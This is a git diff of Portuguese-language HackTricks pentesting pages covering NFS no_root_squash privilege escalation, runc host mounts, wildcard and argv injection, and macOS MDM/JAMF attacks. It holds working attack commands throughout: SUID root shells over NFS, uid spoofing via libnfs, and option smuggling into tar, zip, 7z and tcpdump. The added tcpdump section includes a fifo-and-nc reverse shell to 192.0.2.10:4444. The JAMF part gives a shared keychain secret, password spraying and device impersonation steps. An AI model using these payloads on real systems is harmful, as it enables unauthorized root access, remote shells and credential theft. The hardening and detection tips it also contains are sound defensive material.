**`CAP_SETPCAP`** é uma capacidade do Linux que permite que um processo **modifique os conjuntos de capacidades de outro processo**. Ela concede a habilidade de adicionar ou remover capacidades dos conjuntos de capacidades efetivas, herdáveis e permitidas de outros processos. No entanto, existem certas restrições sobre como essa capacidade pode ser usada.
Um processo com `CAP_SETPCAP` **só pode conceder ou remover capacidades que estão em seu próprio conjunto de capacidades permitido**. Em outras palavras, um processo não pode conceder uma capacidade a outro processo se não tiver essa capacidade. Essa restrição impede que um processo eleve os privilégios de outro processo além do seu próprio nível de privilégio.

34
src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
View File

@ -1,14 +1,16 @@
# NFS No Root Squash Misconfiguration Privilege Escalation
{{#include ../../banners/hacktricks-training.md}}
# Informações Básicas sobre Squashing
## Squashing Basic Info
O NFS geralmente (especialmente no Linux) confia no `uid` e `gid` indicados pelo cliente que se conecta para acessar os arquivos (se o kerberos não for usado). No entanto, existem algumas configurações que podem ser definidas no servidor para **mudar esse comportamento**:
- **`all_squash`**: Ele reduz todos os acessos mapeando todos os usuários e grupos para **`nobody`** (65534 sem sinal / -2 com sinal). Portanto, todos são `nobody` e nenhum usuário é utilizado.
- **`all_squash`**: Ele reduz todos os acessos mapeando todos os usuários e grupos para **`nobody`** (65534 não assinado / -2 assinado). Portanto, todos são `nobody` e nenhum usuário é utilizado.
- **`root_squash`/`no_all_squash`**: Este é o padrão no Linux e **apenas reduz o acesso com uid 0 (root)**. Portanto, qualquer `UID` e `GID` são confiáveis, mas `0` é reduzido para `nobody` (então nenhuma impersonação de root é possível).
- **`no_root_squash`**: Esta configuração, se habilitada, não reduz nem mesmo o usuário root. Isso significa que se você montar um diretório com essa configuração, pode acessá-lo como root.
- **``no_root_squash`**: Esta configuração, se habilitada, não reduz nem mesmo o usuário root. Isso significa que se você montar um diretório com essa configuração, pode acessá-lo como root.
No arquivo **/etc/exports**, se você encontrar algum diretório que está configurado como **no_root_squash**, então você pode **acessar** esse diretório **como cliente** e **escrever dentro** desse diretório **como** se você fosse o **root** local da máquina.
No arquivo **/etc/exports**, se você encontrar algum diretório que está configurado como **no_root_squash**, então você pode **acessar** a partir de **um cliente** e **escrever dentro** desse diretório **como** se você fosse o **root** local da máquina.
Para mais informações sobre **NFS**, consulte:
@ -16,9 +18,9 @@ Para mais informações sobre **NFS**, consulte:
../../network-services-pentesting/nfs-service-pentesting.md
{{#endref}}
# Escalada de Privilégios
## Privilege Escalation
## Exploração Remota
### Remote Exploit
Opção 1 usando bash:
- **Montando esse diretório** em uma máquina cliente e **como root copiando** dentro da pasta montada o binário **/bin/bash** e dando a ele direitos **SUID**, e **executando a partir da máquina vítima** esse binário bash.
@ -37,7 +39,7 @@ cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
Opção 2 usando código compilado em C:
- **Montando esse diretório** em uma máquina cliente, e **como root copiando** dentro da pasta montada nosso payload compilado que irá abusar da permissão SUID, dando a ele direitos **SUID**, e **executando a partir da máquina da vítima** esse binário (você pode encontrar aqui alguns [C SUID payloads](payloads-to-execute.md#c)).
- **Montando esse diretório** em uma máquina cliente, e **como root copiando** dentro da pasta montada nosso payload compilado que irá abusar da permissão SUID, dando a ele direitos **SUID**, e **executando a partir da máquina da vítima** esse binário (você pode encontrar aqui alguns [payloads C SUID](payloads-to-execute.md#c)).
- Mesmas restrições que antes
```bash
#Attacker, as root user
@ -52,19 +54,19 @@ chmod +s payload
cd <SHAREDD_FOLDER>
./payload #ROOT shell
```
## Exploit Local
### Exploit Local
> [!NOTE]
> Note que se você puder criar um **túnel da sua máquina para a máquina da vítima, você ainda pode usar a versão Remota para explorar essa escalada de privilégio, tunelando as portas necessárias**.\
> O seguinte truque é caso o arquivo `/etc/exports` **indique um IP**. Nesse caso, você **não poderá usar** em nenhum caso o **exploit remoto** e precisará **abusar desse truque**.\
> [!TIP]
> Note que se você puder criar um **túnel da sua máquina para a máquina da vítima, ainda poderá usar a versão Remota para explorar essa escalada de privilégio, tunelando as portas necessárias**.\
> O seguinte truque é caso o arquivo `/etc/exports` **indique um IP**. Nesse caso, você **não poderá usar** de forma alguma o **exploit remoto** e precisará **abusar desse truque**.\
> Outro requisito necessário para que o exploit funcione é que **a exportação dentro de `/etc/export`** **deve estar usando a flag `insecure`**.\
> --_Não tenho certeza se, caso `/etc/export` indique um endereço IP, esse truque funcionará_--
> --_Não tenho certeza se, caso `/etc/export` esteja indicando um endereço IP, esse truque funcionará_--
## Informações Básicas
### Informações Básicas
O cenário envolve explorar um compartilhamento NFS montado em uma máquina local, aproveitando uma falha na especificação do NFSv3 que permite ao cliente especificar seu uid/gid, potencialmente permitindo acesso não autorizado. A exploração envolve o uso de [libnfs](https://github.com/sahlberg/libnfs), uma biblioteca que permite a forja de chamadas RPC NFS.
### Compilando a Biblioteca
#### Compilando a Biblioteca
Os passos de compilação da biblioteca podem exigir ajustes com base na versão do kernel. Neste caso específico, as syscalls fallocate foram comentadas. O processo de compilação envolve os seguintes comandos:
```bash
@ -73,7 +75,7 @@ Os passos de compilação da biblioteca podem exigir ajustes com base na versão
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
### Realizando o Exploit
#### Realizando o Exploit
O exploit envolve a criação de um programa C simples (`pwn.c`) que eleva privilégios para root e, em seguida, executa um shell. O programa é compilado e o binário resultante (`a.out`) é colocado no compartilhamento com suid root, usando `ld_nfs.so` para falsificar o uid nas chamadas RPC:
@ -95,7 +97,7 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs:/
/mnt/share/a.out
#root
```
## Bônus: NFShell para Acesso Discreto a Arquivos
### Bônus: NFShell para Acesso Discreto a Arquivos
Uma vez que o acesso root é obtido, para interagir com o compartilhamento NFS sem mudar a propriedade (para evitar deixar rastros), um script Python (nfsh.py) é usado. Este script ajusta o uid para corresponder ao do arquivo sendo acessado, permitindo a interação com arquivos no compartilhamento sem problemas de permissão:
```python

4
src/linux-hardening/privilege-escalation/runc-privilege-escalation.md
View File

@ -12,7 +12,7 @@ Se você quiser saber mais sobre **runc**, consulte a seguinte página:
## PE
Se você descobrir que `runc` está instalado no host, pode ser possível **executar um contêiner montando a pasta raiz / do host**.
Se você descobrir que `runc` está instalado no host, pode ser capaz de **executar um contêiner montando a pasta raiz / do host**.
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
@ -37,6 +37,6 @@ mkdir rootfs
runc run demo
```
> [!CAUTION]
> Isso nem sempre funcionará, pois a operação padrão do runc é ser executado como root, então executá-lo como um usuário sem privilégios simplesmente não pode funcionar (a menos que você tenha uma configuração sem root). Tornar uma configuração sem root a padrão geralmente não é uma boa ideia, pois há várias restrições dentro de contêineres sem root que não se aplicam fora de contêineres sem root.
> Isso nem sempre funcionará, pois a operação padrão do runc é ser executada como root, então executá-lo como um usuário sem privilégios simplesmente não pode funcionar (a menos que você tenha uma configuração sem root). Tornar uma configuração sem root a padrão geralmente não é uma boa ideia, pois há várias restrições dentro de contêineres sem root que não se aplicam fora de contêineres sem root.
{{#include ../../banners/hacktricks-training.md}}

65
src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md
View File

@ -65,7 +65,7 @@ Se o root mais tarde arquivar o diretório com `rsync -az * backup:/srv/`, a fla
## 7-Zip / 7z / 7za
Mesmo quando o script privilegiado *defensivamente* prefixa o wildcard com `--` (para parar a análise de opções), o formato 7-Zip suporta **arquivos de lista de arquivos** prefixando o nome do arquivo com `@`. Combinar isso com um symlink permite que você *exfiltre arquivos arbitrários*:
Mesmo quando o script privilegiado *defensivamente* prefixa o wildcard com `--` (para parar a análise de opções), o formato 7-Zip suporta **arquivos de lista de arquivos** prefixando o nome do arquivo com `@`. Combinando isso com um symlink permite que você *exfiltre arquivos arbitrários*:
```bash
# directory writable by low-priv user
cd /path/controlled
@ -86,17 +86,17 @@ Se o root executar algo como:
```bash
zip result.zip files -T --unzip-command "sh -c id"
```
Injecte a flag através de um nome de arquivo elaborado e aguarde o script de backup privilegiado chamar `zip -T` (testar arquivo) no arquivo resultante.
Injete a flag através de um nome de arquivo elaborado e aguarde o script de backup privilegiado chamar `zip -T` (testar arquivo) no arquivo resultante.
---
## Binaries adicionais vulneráveis à injeção de wildcard (lista rápida 2023-2025)
## Binaries adicionais vulneráveis à injeção de wildcard (lista rápida de 2023-2025)
Os seguintes comandos foram abusados em CTFs modernos e em ambientes reais. O payload é sempre criado como um *nome de arquivo* dentro de um diretório gravável que será processado posteriormente com um wildcard:
| Binary | Flag to abuse | Effect |
| Binary | Flag para abusar | Efeito |
| --- | --- | --- |
| `bsdtar` | `--newer-mtime=@<epoch>` → arbitrary `@file` | Ler conteúdo do arquivo |
| `bsdtar` | `--newer-mtime=@<epoch>` → arbitrário `@file` | Ler conteúdo do arquivo |
| `flock` | `-c <cmd>` | Executar comando |
| `git` | `-c core.sshCommand=<cmd>` | Execução de comando via git sobre SSH |
| `scp` | `-S <cmd>` | Iniciar programa arbitrário em vez de ssh |
@ -105,10 +105,53 @@ Essas primitivas são menos comuns do que os clássicos *tar/rsync/zip*, mas val
---
## Detecção & Dureza
## ganchos de rotação do tcpdump (-G/-W/-z): RCE via injeção de argv em wrappers
1. **Desabilitar globbing de shell** em scripts críticos: `set -f` (`set -o noglob`) impede a expansão de wildcard.
2. **Citar ou escapar** argumentos: `tar -czf "$dst" -- *` não é seguro — prefira `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
Quando um shell restrito ou wrapper de fornecedor constrói uma linha de comando `tcpdump` concatenando campos controlados pelo usuário (por exemplo, um parâmetro "nome do arquivo") sem citação/validação rigorosa, você pode contrabandear flags extras do `tcpdump`. A combinação de `-G` (rotação baseada em tempo), `-W` (limitar número de arquivos) e `-z <cmd>` (comando pós-rotação) resulta em execução arbitrária de comando como o usuário que executa o tcpdump (geralmente root em dispositivos).
Pré-condições:
- Você pode influenciar `argv` passado para `tcpdump` (por exemplo, via um wrapper como `/debug/tcpdump --filter=... --file-name=<HERE>`).
- O wrapper não sanitiza espaços ou tokens prefixados por `-` no campo do nome do arquivo.
PoC clássica (executa um script de shell reverso a partir de um caminho gravável):
```sh
# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh
# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234
```
Detalhes:
- `-G 1 -W 1` força uma rotação imediata após o primeiro pacote correspondente.
- `-z <cmd>` executa o comando pós-rotação uma vez por rotação. Muitas compilações executam `<cmd> <savefile>`. Se `<cmd>` for um script/interpreter, certifique-se de que o manuseio de argumentos corresponda ao seu payload.
Variantes sem mídia removível:
- Se você tiver qualquer outro primitivo para escrever arquivos (por exemplo, um wrapper de comando separado que permite redirecionamento de saída), coloque seu script em um caminho conhecido e acione `-z /bin/sh /path/script.sh` ou `-z /path/script.sh` dependendo da semântica da plataforma.
- Alguns wrappers de fornecedores rotacionam para locais controláveis pelo atacante. Se você puder influenciar o caminho rotacionado (symlink/travessia de diretório), pode direcionar `-z` para executar conteúdo que você controla totalmente sem mídia externa.
Dicas de hardening para fornecedores:
- Nunca passe strings controladas pelo usuário diretamente para `tcpdump` (ou qualquer ferramenta) sem listas de permissão rigorosas. Coloque entre aspas e valide.
- Não exponha a funcionalidade `-z` em wrappers; execute tcpdump com um template seguro fixo e desautorize completamente flags extras.
- Remova privilégios do tcpdump (cap_net_admin/cap_net_raw apenas) ou execute sob um usuário não privilegiado dedicado com confinamento AppArmor/SELinux.
## Detecção & Hardening
1. **Desative a expansão de globos de shell** em scripts críticos: `set -f` (`set -o noglob`) impede a expansão de curingas.
2. **Coloque entre aspas ou escape** argumentos: `tar -czf "$dst" -- *` *não* é seguro — prefira `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
3. **Caminhos explícitos**: Use `/var/www/html/*.log` em vez de `*` para que atacantes não possam criar arquivos irmãos que começam com `-`.
4. **Menor privilégio**: Execute trabalhos de backup/manutenção como uma conta de serviço não privilegiada em vez de root sempre que possível.
5. **Monitoramento**: A regra pré-construída da Elastic *Potential Shell via Wildcard Injection* procura por `tar --checkpoint=*`, `rsync -e*`, ou `zip --unzip-command` imediatamente seguido por um processo filho de shell. A consulta EQL pode ser adaptada para outros EDRs.
@ -117,7 +160,9 @@ Essas primitivas são menos comuns do que os clássicos *tar/rsync/zip*, mas val
## Referências
* Elastic Security – Regra Detectada de Potencial Shell via Injeção de Wildcard (última atualização 2025)
* Rutger Flohil – “macOS — Injeção de wildcard do Tar” (18 de dezembro de 2024)
* Elastic Security – Regra Detectada de Potencial Shell via Wildcard Injection (última atualização 2025)
* Rutger Flohil – “macOS — Injeção de curingas no Tar” (18 de dezembro de 2024)
* GTFOBins – [tcpdump](https://gtfobins.github.io/gtfobins/tcpdump/)
* FiberGateway GR241AG – [Cadeia de Exploit Completa](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
{{#include ../../banners/hacktricks-training.md}}

36
src/macos-hardening/macos-red-teaming/README.md
View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Abusando de MDMs
- JAMF Pro: `jamf checkJSSConnection`
@ -20,25 +19,25 @@ macos-mdm/
Um MDM terá permissão para instalar, consultar ou remover perfis, instalar aplicativos, criar contas de administrador locais, definir senha de firmware, mudar a chave do FileVault...
Para executar seu próprio MDM, você precisa que **seu CSR seja assinado por um fornecedor**, o que você poderia tentar obter com [**https://mdmcert.download/**](https://mdmcert.download/). E para executar seu próprio MDM para dispositivos Apple, você poderia usar [**MicroMDM**](https://github.com/micromdm/micromdm).
Para executar seu próprio MDM, você precisa que **seu CSR seja assinado por um fornecedor**, o que você pode tentar obter com [**https://mdmcert.download/**](https://mdmcert.download/). E para executar seu próprio MDM para dispositivos Apple, você pode usar [**MicroMDM**](https://github.com/micromdm/micromdm).
No entanto, para instalar um aplicativo em um dispositivo inscrito, você ainda precisa que ele seja assinado por uma conta de desenvolvedor... no entanto, após a inscrição no MDM, o **dispositivo adiciona o certificado SSL do MDM como uma CA confiável**, então você pode agora assinar qualquer coisa.
Para inscrever o dispositivo em um MDM, você precisa instalar um **`mobileconfig`** como root, que pode ser entregue via um **pkg** (você pode compactá-lo em zip e, ao ser baixado do safari, ele será descompactado).
Para inscrever o dispositivo em um MDM, você precisa instalar um arquivo **`mobileconfig`** como root, que pode ser entregue via um arquivo **pkg** (você pode compactá-lo em zip e, ao ser baixado do Safari, ele será descompactado).
**Mythic agent Orthrus** usa essa técnica.
### Abusando do JAMF PRO
JAMF pode executar **scripts personalizados** (scripts desenvolvidos pelo sysadmin), **payloads nativos** (criação de conta local, definir senha EFI, monitoramento de arquivos/processos...) e **MDM** (configurações de dispositivo, certificados de dispositivo...).
O JAMF pode executar **scripts personalizados** (scripts desenvolvidos pelo sysadmin), **payloads nativos** (criação de conta local, definir senha EFI, monitoramento de arquivos/processos...) e **MDM** (configurações de dispositivo, certificados de dispositivo...).
#### Auto-inscrição do JAMF
Vá para uma página como `https://<company-name>.jamfcloud.com/enroll/` para ver se eles têm **auto-inscrição habilitada**. Se tiver, pode **pedir credenciais para acessar**.
Vá para uma página como `https://<company-name>.jamfcloud.com/enroll/` para ver se eles têm **auto-inscrição habilitada**. Se tiver, pode **pedir credenciais para acesso**.
Você poderia usar o script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) para realizar um ataque de password spraying.
Você pode usar o script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) para realizar um ataque de password spraying.
Além disso, após encontrar credenciais adequadas, você poderia ser capaz de forçar outros nomes de usuário com o próximo formulário:
Além disso, após encontrar credenciais adequadas, você pode ser capaz de forçar outros nomes de usuário com o próximo formulário:
![](<../../images/image (107).png>)
@ -46,10 +45,10 @@ Além disso, após encontrar credenciais adequadas, você poderia ser capaz de f
<figure><img src="../../images/image (167).png" alt=""><figcaption></figcaption></figure>
O **binário `jamf`** continha o segredo para abrir o keychain que, no momento da descoberta, era **compartilhado** entre todos e era: **`jk23ucnq91jfu9aj`**.\
Além disso, jamf **persiste** como um **LaunchDaemon** em **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
O binário **`jamf`** continha o segredo para abrir o keychain que, na época da descoberta, era **compartilhado** entre todos e era: **`jk23ucnq91jfu9aj`**.\
Além disso, o jamf **persiste** como um **LaunchDaemon** em **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### Tomada de Controle de Dispositivo JAMF
#### Tomada de Controle do Dispositivo JAMF
A **URL** do **JSS** (Jamf Software Server) que **`jamf`** usará está localizada em **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Este arquivo basicamente contém a URL:
@ -60,7 +59,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<string>https://subdomain-company.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]
@ -74,7 +73,7 @@ sudo jamf policy -id 0
```
#### Impersonação do JAMF
Para **impersonar a comunicação** entre um dispositivo e o JAMF, você precisa:
Para **impersonar a comunicação** entre um dispositivo e o JMF, você precisa:
- O **UUID** do dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
- O **keychain do JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain`, que contém o certificado do dispositivo
@ -95,6 +94,7 @@ O script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Too
E também sobre os **protocolos** **de rede** "especiais" do **MacOS**:
{{#ref}}
../macos-security-and-privilege-escalation/macos-protocols.md
{{#endref}}
@ -103,14 +103,17 @@ E também sobre os **protocolos** **de rede** "especiais" do **MacOS**:
Em algumas ocasiões, você encontrará que o **computador MacOS está conectado a um AD**. Nesse cenário, você deve tentar **enumerar** o diretório ativo como está acostumado. Encontre alguma **ajuda** nas seguintes páginas:
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
{{#endref}}
{{#ref}}
../../windows-hardening/active-directory-methodology/
{{#endref}}
{{#ref}}
../../network-services-pentesting/pentesting-kerberos-88/
{{#endref}}
@ -119,7 +122,7 @@ Alguma **ferramenta local do MacOS** que também pode ajudar é `dscl`:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
Além disso, existem algumas ferramentas preparadas para MacOS para enumerar automaticamente o AD e interagir com o kerberos:
Também existem algumas ferramentas preparadas para MacOS para enumerar automaticamente o AD e interagir com o kerberos:
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound é uma extensão da ferramenta de auditoria Bloodhound que permite coletar e ingerir relacionamentos do Active Directory em hosts MacOS.
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost é um projeto em Objective-C projetado para interagir com as APIs Heimdal krb5 no macOS. O objetivo do projeto é permitir testes de segurança melhores em torno do Kerberos em dispositivos macOS usando APIs nativas, sem exigir nenhum outro framework ou pacotes no alvo.
@ -134,7 +137,7 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
Os três tipos de usuários do MacOS são:
- **Usuários Locais** — Gerenciados pelo serviço OpenDirectory local, não estão conectados de nenhuma forma ao Active Directory.
- **Usuários de Rede** — Usuários voláteis do Active Directory que requerem uma conexão com o servidor DC para autenticar.
- **Usuários de Rede** — Usuários voláteis do Active Directory que requerem uma conexão com o servidor DC para autenticação.
- **Usuários Móveis** — Usuários do Active Directory com um backup local para suas credenciais e arquivos.
As informações locais sobre usuários e grupos são armazenadas na pasta _/var/db/dslocal/nodes/Default._\
@ -168,13 +171,13 @@ dsconfigad -show
```
Mais informações em [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
### Computer$ senha
### Senha do Computer$
Obtenha senhas usando:
```bash
bifrost --action askhash --username [name] --password [password] --domain [domain]
```
É possível acessar a senha **`Computer$`** dentro do chaveiro do Sistema.
É possível acessar a **`Computer$`** senha dentro do chaveiro do Sistema.
### Over-Pass-The-Hash
@ -227,5 +230,4 @@ Quando um arquivo é baixado no Safari, se for um arquivo "seguro", ele será **
- [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
- [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
{{#include ../../banners/hacktricks-training.md}}

36
src/macos-hardening/macos-red-teaming/macos-mdm/README.md
View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
**Para aprender sobre MDMs do macOS, consulte:**
**Para aprender sobre MDMs do macOS, veja:**
- [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)
- [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)
@ -19,23 +19,23 @@
### **Noções Básicas do DEP (Programa de Inscrição de Dispositivos)**
O [Programa de Inscrição de Dispositivos](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) oferecido pela Apple simplifica a integração do Gerenciamento de Dispositivos Móveis (MDM) ao facilitar a configuração sem toque para dispositivos iOS, macOS e tvOS. O DEP automatiza o processo de inscrição, permitindo que os dispositivos estejam operacionais assim que retirados da caixa, com mínima intervenção do usuário ou do administrador. Aspectos essenciais incluem:
O [Programa de Inscrição de Dispositivos](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) oferecido pela Apple simplifica a integração do Gerenciamento de Dispositivos Móveis (MDM) ao facilitar a configuração sem toque para dispositivos iOS, macOS e tvOS. O DEP automatiza o processo de inscrição, permitindo que os dispositivos estejam operacionais assim que retirados da caixa, com mínima intervenção do usuário ou do administrador. Os aspectos essenciais incluem:
- Permite que os dispositivos se registrem autonomamente em um servidor MDM pré-definido na ativação inicial.
- Principalmente benéfico para dispositivos novos, mas também aplicável a dispositivos que estão sendo reconfigurados.
- Principalmente benéfico para dispositivos novos, mas também aplicável a dispositivos que estão passando por reconfiguração.
- Facilita uma configuração simples, tornando os dispositivos prontos para uso organizacional rapidamente.
### **Consideração de Segurança**
É crucial notar que a facilidade de inscrição proporcionada pelo DEP, embora benéfica, também pode representar riscos de segurança. Se as medidas de proteção não forem adequadamente aplicadas para a inscrição no MDM, os atacantes podem explorar esse processo simplificado para registrar seu dispositivo no servidor MDM da organização, disfarçando-se como um dispositivo corporativo.
É crucial notar que a facilidade de inscrição proporcionada pelo DEP, embora benéfica, também pode representar riscos de segurança. Se as medidas de proteção não forem adequadamente aplicadas para a inscrição no MDM, atacantes podem explorar esse processo simplificado para registrar seu dispositivo no servidor MDM da organização, disfarçando-se como um dispositivo corporativo.
> [!CAUTION]
> **Alerta de Segurança**: A inscrição simplificada no DEP pode potencialmente permitir o registro não autorizado de dispositivos no servidor MDM da organização se as salvaguardas adequadas não estiverem em vigor.
### Noções Básicas — O que é SCEP (Protocolo de Inscrição Simples de Certificado)?
### Noções Básicas O que é SCEP (Protocolo de Inscrição Simples de Certificado)?
- Um protocolo relativamente antigo, criado antes que TLS e HTTPS se tornassem amplamente utilizados.
- Oferece aos clientes uma maneira padronizada de enviar um **Pedido de Assinatura de Certificado** (CSR) com o propósito de obter um certificado. O cliente solicitará ao servidor que lhe forneça um certificado assinado.
- Oferece aos clientes uma maneira padronizada de enviar uma **Solicitação de Assinatura de Certificado** (CSR) com o propósito de obter um certificado. O cliente solicitará ao servidor que lhe forneça um certificado assinado.
### O que são Perfis de Configuração (também conhecidos como mobileconfigs)?
@ -57,9 +57,9 @@ O [Programa de Inscrição de Dispositivos](https://www.apple.com/business/site/
### DEP
- **3 APIs**: 1 para revendedores, 1 para fornecedores de MDM, 1 para identidade do dispositivo (não documentada):
- A chamada [API "serviço em nuvem" DEP](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Esta é usada pelos servidores MDM para associar perfis DEP a dispositivos específicos.
- A chamada [API "serviço em nuvem" DEP](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Esta é usada por servidores MDM para associar perfis DEP a dispositivos específicos.
- A [API DEP usada por Revendedores Autorizados da Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) para inscrever dispositivos, verificar status de inscrição e verificar status de transação.
- A API privada DEP não documentada. Esta é usada pelos Dispositivos Apple para solicitar seu perfil DEP. No macOS, o binário `cloudconfigurationd` é responsável pela comunicação através dessa API.
- A API privada DEP não documentada. Esta é usada por Dispositivos Apple para solicitar seu perfil DEP. No macOS, o binário `cloudconfigurationd` é responsável por se comunicar através dessa API.
- Mais moderna e baseada em **JSON** (vs. plist)
- A Apple concede um **token OAuth** ao fornecedor de MDM
@ -70,12 +70,12 @@ O [Programa de Inscrição de Dispositivos](https://www.apple.com/business/site/
- sincroniza “perfis DEP” da Apple para o servidor MDM (entregues pela Apple ao dispositivo posteriormente)
- Um “perfil” DEP contém:
- URL do servidor do fornecedor de MDM
- Certificados confiáveis adicionais para a URL do servidor (fixação opcional)
- Certificados confiáveis adicionais para a URL do servidor (opcional)
- Configurações extras (por exemplo, quais telas pular na Assistente de Configuração)
## Número de Série
Dispositivos Apple fabricados após 2010 geralmente têm números de série **alfanuméricos de 12 caracteres**, com os **três primeiros dígitos representando o local de fabricação**, os **dois** seguintes indicando o **ano** e a **semana** de fabricação, os próximos **três** dígitos fornecendo um **identificador único**, e os **últimos** **quatro** dígitos representando o **número do modelo**.
Dispositivos Apple fabricados após 2010 geralmente têm números de série **alfanuméricos de 12 caracteres**, com os **três primeiros dígitos representando o local de fabricação**, os **dois** seguintes indicando o **ano** e a **semana** de fabricação, os próximos **três** dígitos fornecendo um **identificador** **único**, e os **últimos** **quatro** dígitos representando o **número do modelo**.
{{#ref}}
macos-serial-number.md
@ -86,7 +86,7 @@ macos-serial-number.md
1. Criação do registro do dispositivo (Revendedor, Apple): O registro para o novo dispositivo é criado
2. Atribuição do registro do dispositivo (Cliente): O dispositivo é atribuído a um servidor MDM
3. Sincronização do registro do dispositivo (Fornecedor de MDM): O MDM sincroniza os registros dos dispositivos e envia os perfis DEP para a Apple
4. Check-in DEP (Dispositivo): O dispositivo recebe seu perfil DEP
4. Check-in do DEP (Dispositivo): O dispositivo recebe seu perfil DEP
5. Recuperação do perfil (Dispositivo)
6. Instalação do perfil (Dispositivo) a. incl. payloads de MDM, SCEP e CA raiz
7. Emissão de comando MDM (Dispositivo)
@ -95,7 +95,7 @@ macos-serial-number.md
O arquivo `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exporta funções que podem ser consideradas **"etapas" de alto nível** do processo de inscrição.
### Etapa 4: Check-in DEP - Obtendo o Registro de Ativação
### Etapa 4: Check-in do DEP - Obtendo o Registro de Ativação
Esta parte do processo ocorre quando um **usuário inicializa um Mac pela primeira vez** (ou após uma limpeza completa)
@ -104,13 +104,13 @@ Esta parte do processo ocorre quando um **usuário inicializa um Mac pela primei
ou ao executar `sudo profiles show -type enrollment`
- Determinar **se o dispositivo está habilitado para DEP**
- O Registro de Ativação é o nome interno para o **"perfil" DEP**
- Registro de Ativação é o nome interno para **"perfil" DEP**
- Começa assim que o dispositivo está conectado à Internet
- Impulsionado por **`CPFetchActivationRecord`**
- Implementado por **`cloudconfigurationd`** via XPC. O **"Assistente de Configuração"** (quando o dispositivo é inicializado pela primeira vez) ou o comando **`profiles`** irá **contatar este daemon** para recuperar o registro de ativação.
- LaunchDaemon (sempre executa como root)
- LaunchDaemon (sempre roda como root)
Segue algumas etapas para obter o Registro de Ativação realizado por **`MCTeslaConfigurationFetcher`**. Este processo utiliza uma criptografia chamada **Absinthe**
Segue algumas etapas para obter o Registro de Ativação realizadas por **`MCTeslaConfigurationFetcher`**. Este processo utiliza uma criptografia chamada **Absinthe**
1. Recuperar **certificado**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
@ -138,11 +138,11 @@ A resposta é um dicionário JSON com alguns dados importantes, como:
- Solicitação enviada para **url fornecida no perfil DEP**.
- **Certificados âncora** são usados para **avaliar a confiança** se fornecidos.
- Lembrete: a propriedade **anchor_certs** do perfil DEP
- **A solicitação é um simples .plist** com identificação do dispositivo
- **Solicitação é um simples .plist** com identificação do dispositivo
- Exemplos: **UDID, versão do OS**.
- Assinada por CMS, codificada em DER
- Assinada usando o **certificado de identidade do dispositivo (do APNS)**
- **A cadeia de certificados** inclui **Apple iPhone Device CA** expirado
- **Cadeia de certificados** inclui **Apple iPhone Device CA** expirado
![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
